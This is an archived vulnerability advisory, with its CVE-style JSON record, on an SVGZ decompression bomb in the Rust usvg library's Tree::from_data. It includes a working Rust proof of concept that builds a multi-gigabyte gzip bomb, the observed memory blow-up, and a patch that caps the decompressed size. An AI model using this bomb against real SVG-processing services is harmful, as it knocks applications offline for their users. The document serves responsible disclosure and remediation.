VULNARCHIVE

GCVE-1988-2026-0439

usvg SVGZ decompression bomb in `Tree::from_data`

Description (en)

# usvg SVGZ decompression bomb in `Tree::from_data`

**Author:** Khashayar Fereidani
**Disclosure Date:** 2026-09-18
**Advisory:** https://fereidani.com/usvg-svgz-decompression-bomb-in-treefromdata
**Contact:** https://fereidani.com/contact

## Description

`Tree::from_data` in `crates/usvg/src/parser/mod.rs:102` detects the gzip magic
bytes at the start of the input and decompresses the data before parsing it:

```rust
// crates/usvg/src/parser/mod.rs:109
let data = decompress_svgz(data)?;
let text = std::str::from_utf8(&data).map_err(|_| Error::NotAnUtf8Str)?;
Self::from_str(text, opt)
```

```rust
// crates/usvg/src/parser/mod.rs:180
pub fn decompress_svgz(data: &[u8]) -> Result<Vec<u8>, Error> {
    use std::io::Read;

    let mut decoder = flate2::read::GzDecoder::new(data);
    let mut decoded = Vec::with_capacity(data.len() * 2);
    decoder
        .read_to_end(&mut decoded)
        .map_err(|_| Error::MalformedGZip)?;
    Ok(decoded)
}
```

`read_to_end` grows `decoded` with no cap on the output size, and the whole
buffer is materialized before `from_str` reads the first byte. The attacker
fully controls the expansion ratio, since gzip reaches roughly 1000:1, so the
size of the input places no bound on the size of the allocation. A payload of
a few hundred kilobytes can request several gigabytes of memory, and the parse
error only fires after the entire bomb is already in memory.

## Proof of concept

Create a new project with `flate2` and `usvg`:

```toml
[dependencies]
flate2 = "1"
usvg = "0.48"
```

Build a gzip bomb of the desired size and hand it to `Tree::from_data`:

```rust
use flate2::write::GzEncoder;
use flate2::Compression;
use std::io::Write;

fn main() {
    let mib: usize = std::env::args()
        .nth(1)
        .and_then(|s| s.parse().ok())
        .unwrap_or(256);
    let mut enc = GzEncoder::new(Vec::new(), Compression::best());
    let chunk = [0u8; 65536];
    for _ in 0..(mib << 20) / 65536 {
        enc.write_all(&chunk).unwrap();
    }
    let bomb = enc.finish().unwrap();
    println!("svgz input {} bytes, expands to {mib} MiB", bomb.len());
    match usvg::Tree::from_data(&bomb, &usvg::Options::default()) {
        Ok(_) => println!("parsed"),
        Err(e) => println!("parse error after full decompression: {e:?}"),
    }
}
```

Run with `cargo run --release 4096`. Observed output:

```text
svgz input 4171638 bytes, expands to 4096 MiB
parse error after full decompression:
ParsingFailed(UnknownToken(TextPos { row: 1, col: 1 }))
```

Peak process RSS was 4,201,816 kB (about 4.0 GiB) from a 4 MB input. The
decompression happens before any validation, so the bytes do not even need to
be a valid SVG.

## Impact

Decompression bomb causing memory exhaustion and an OOM kill, denying service
to any application that passes attacker-controlled SVG bytes to
`usvg::Tree::from_data`. The `svgz` feature is enabled by default, and SVG
upload or conversion endpoints that use usvg are typically reachable before
authentication.

## Solution

Bound the decompressed output inside `decompress_svgz` instead of trusting the
compressed input. Read through `io::Take` with a limit one byte above the
cap, so a stream that reaches the limit can be rejected instead of silently
truncated:

```rust
const MAX_SVGZ_SIZE: u64 = 256 * 1024 * 1024;

let mut decoder = flate2::read::GzDecoder::new(data);
let mut decoded = Vec::with_capacity(data.len() * 2);
decoder
    .take(MAX_SVGZ_SIZE + 1)
    .read_to_end(&mut decoded)
    .map_err(|_| Error::MalformedGZip)?;
if decoded.len() as u64 > MAX_SVGZ_SIZE {
    return Err(Error::MalformedGZip);
}
```

Comparable libraries bound the decompressed or parsed output inside the
library itself:

- Node.js `zlib` caps one-shot decompression output via the `maxOutputLength`
  option (added in v12.19.0 and v14.5.0).
- Python Pillow caps decoded pixels at `ImageFile.MAX_IMAGE_PIXELS`, default
  89,478,485 pixels (about a quarter GiB of 24-bit pixels), and raises
  `DecompressionBombWarning` / `DecompressionBombError` beyond it.
- libpng applies default dimension limits of 1,000,000 x 1,000,000 plus
  `png_set_chunk_malloc_max` for bounded allocation.
- librsvg documents no built-in memory or CPU limits and pushes bounding to
  the caller, but still caps parsed XML elements at 1 million. usvg applies
  neither an output-size cap nor an element cap.

Until a fix lands, applications can disable the `svgz` feature and decompress
uploaded files themselves with a bounded reader, calling `Tree::from_str` on
the verified plain SVG text.

## Timeline

- 2026-08-25: Vulnerability reported privately to the maintainer.
- 2026-09-24: No response received; public disclosure. usvg 0.48.1 and the
  current main branch are still affected.

## References

- [linebender/resvg -
crates/usvg/src/parser/mod.rs](https://github.com/linebender/resvg/blob/main/crates/usvg/src/parser/mod.rs)
- [Node.js zlib `maxOutputLength`](https://nodejs.org/api/zlib.html)
- [Pillow `ImageFile.MAX_IMAGE_PIXELS`](https://pillow.readthedocs.io/en/stable/reference/ImageFile.html)
- [CWE-409: Improper Handling of Highly Compressed Data (Data
Amplification)](https://cwe.mitre.org/data/definitions/409.html)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

References

Raw JSON
{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "usvg SVGZ decompression",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Khashayar Fereidani"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# usvg SVGZ decompression bomb in `Tree::from_data`\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-09-18\n**Advisory:** https://fereidani.com/usvg-svgz-decompression-bomb-in-treefromdata\n**Contact:** https://fereidani.com/contact\n\n## Description\n\n`Tree::from_data` in `crates/usvg/src/parser/mod.rs:102` detects the gzip magic\nbytes at the start of the input and decompresses the data before parsing it:\n\n```rust\n// crates/usvg/src/parser/mod.rs:109\nlet data = decompress_svgz(data)?;\nlet text = std::str::from_utf8(&data).map_err(|_| Error::NotAnUtf8Str)?;\nSelf::from_str(text, opt)\n```\n\n```rust\n// crates/usvg/src/parser/mod.rs:180\npub fn decompress_svgz(data: &[u8]) -> Result<Vec<u8>, Error> {\n    use std::io::Read;\n\n    let mut decoder = flate2::read::GzDecoder::new(data);\n    let mut decoded = Vec::with_capacity(data.len() * 2);\n    decoder\n        .read_to_end(&mut decoded)\n        .map_err(|_| Error::MalformedGZip)?;\n    Ok(decoded)\n}\n```\n\n`read_to_end` grows `decoded` with no cap on the output size, and the whole\nbuffer is materialized before `from_str` reads the first byte. The attacker\nfully controls the expansion ratio, since gzip reaches roughly 1000:1, so the\nsize of the input places no bound on the size of the allocation. A payload of\na few hundred kilobytes can request several gigabytes of memory, and the parse\nerror only fires after the entire bomb is already in memory.\n\n## Proof of concept\n\nCreate a new project with `flate2` and `usvg`:\n\n```toml\n[dependencies]\nflate2 = \"1\"\nusvg = \"0.48\"\n```\n\nBuild a gzip bomb of the desired size and hand it to `Tree::from_data`:\n\n```rust\nuse flate2::write::GzEncoder;\nuse flate2::Compression;\nuse std::io::Write;\n\nfn main() {\n    let mib: usize = std::env::args()\n        .nth(1)\n        .and_then(|s| s.parse().ok())\n        .unwrap_or(256);\n    let mut enc = GzEncoder::new(Vec::new(), Compression::best());\n    let chunk = [0u8; 65536];\n    for _ in 0..(mib << 20) / 65536 {\n        enc.write_all(&chunk).unwrap();\n    }\n    let bomb = enc.finish().unwrap();\n    println!(\"svgz input {} bytes, expands to {mib} MiB\", bomb.len());\n    match usvg::Tree::from_data(&bomb, &usvg::Options::default()) {\n        Ok(_) => println!(\"parsed\"),\n        Err(e) => println!(\"parse error after full decompression: {e:?}\"),\n    }\n}\n```\n\nRun with `cargo run --release 4096`. Observed output:\n\n```text\nsvgz input 4171638 bytes, expands to 4096 MiB\nparse error after full decompression:\nParsingFailed(UnknownToken(TextPos { row: 1, col: 1 }))\n```\n\nPeak process RSS was 4,201,816 kB (about 4.0 GiB) from a 4 MB input. The\ndecompression happens before any validation, so the bytes do not even need to\nbe a valid SVG.\n\n## Impact\n\nDecompression bomb causing memory exhaustion and an OOM kill, denying service\nto any application that passes attacker-controlled SVG bytes to\n`usvg::Tree::from_data`. The `svgz` feature is enabled by default, and SVG\nupload or conversion endpoints that use usvg are typically reachable before\nauthentication.\n\n## Solution\n\nBound the decompressed output inside `decompress_svgz` instead of trusting the\ncompressed input. Read through `io::Take` with a limit one byte above the\ncap, so a stream that reaches the limit can be rejected instead of silently\ntruncated:\n\n```rust\nconst MAX_SVGZ_SIZE: u64 = 256 * 1024 * 1024;\n\nlet mut decoder = flate2::read::GzDecoder::new(data);\nlet mut decoded = Vec::with_capacity(data.len() * 2);\ndecoder\n    .take(MAX_SVGZ_SIZE + 1)\n    .read_to_end(&mut decoded)\n    .map_err(|_| Error::MalformedGZip)?;\nif decoded.len() as u64 > MAX_SVGZ_SIZE {\n    return Err(Error::MalformedGZip);\n}\n```\n\nComparable libraries bound the decompressed or parsed output inside the\nlibrary itself:\n\n- Node.js `zlib` caps one-shot decompression output via the `maxOutputLength`\n  option (added in v12.19.0 and v14.5.0).\n- Python Pillow caps decoded pixels at `ImageFile.MAX_IMAGE_PIXELS`, default\n  89,478,485 pixels (about a quarter GiB of 24-bit pixels), and raises\n  `DecompressionBombWarning` / `DecompressionBombError` beyond it.\n- libpng applies default dimension limits of 1,000,000 x 1,000,000 plus\n  `png_set_chunk_malloc_max` for bounded allocation.\n- librsvg documents no built-in memory or CPU limits and pushes bounding to\n  the caller, but still caps parsed XML elements at 1 million. usvg applies\n  neither an output-size cap nor an element cap.\n\nUntil a fix lands, applications can disable the `svgz` feature and decompress\nuploaded files themselves with a bounded reader, calling `Tree::from_str` on\nthe verified plain SVG text.\n\n## Timeline\n\n- 2026-08-25: Vulnerability reported privately to the maintainer.\n- 2026-09-24: No response received; public disclosure. usvg 0.48.1 and the\n  current main branch are still affected.\n\n## References\n\n- [linebender/resvg -\ncrates/usvg/src/parser/mod.rs](https://github.com/linebender/resvg/blob/main/crates/usvg/src/parser/mod.rs)\n- [Node.js zlib `maxOutputLength`](https://nodejs.org/api/zlib.html)\n- [Pillow `ImageFile.MAX_IMAGE_PIXELS`](https://pillow.readthedocs.io/en/stable/reference/ImageFile.html)\n- [CWE-409: Improper Handling of Highly Compressed Data (Data\nAmplification)](https://cwe.mitre.org/data/definitions/409.html)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-409",
              "description": "CWE-409",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:34Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/73"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/73"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/409.html"
        },
        {
          "url": "https://fereidani.com/contact"
        },
        {
          "url": "https://fereidani.com/usvg-svgz-decompression-bomb-in-treefromdata"
        },
        {
          "url": "https://github.com/linebender/resvg/blob/main/crates/usvg/src/parser/mod.rs"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://nodejs.org/api/zlib.html"
        },
        {
          "url": "https://pillow.readthedocs.io/en/stable/reference/ImageFile.html"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/73"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "usvg SVGZ decompression bomb in `Tree::from_data`",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0439",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/73",
            "automated": true,
            "contentSha256": "bc3fffb52ec3a509c1ebe187ebeae6c0aff0f3beeefa42a5f6ed06d814f1027c",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/73",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-23T22:03:22Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:34Z",
    "dateUpdated": "2026-10-02T04:57:34Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0439"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}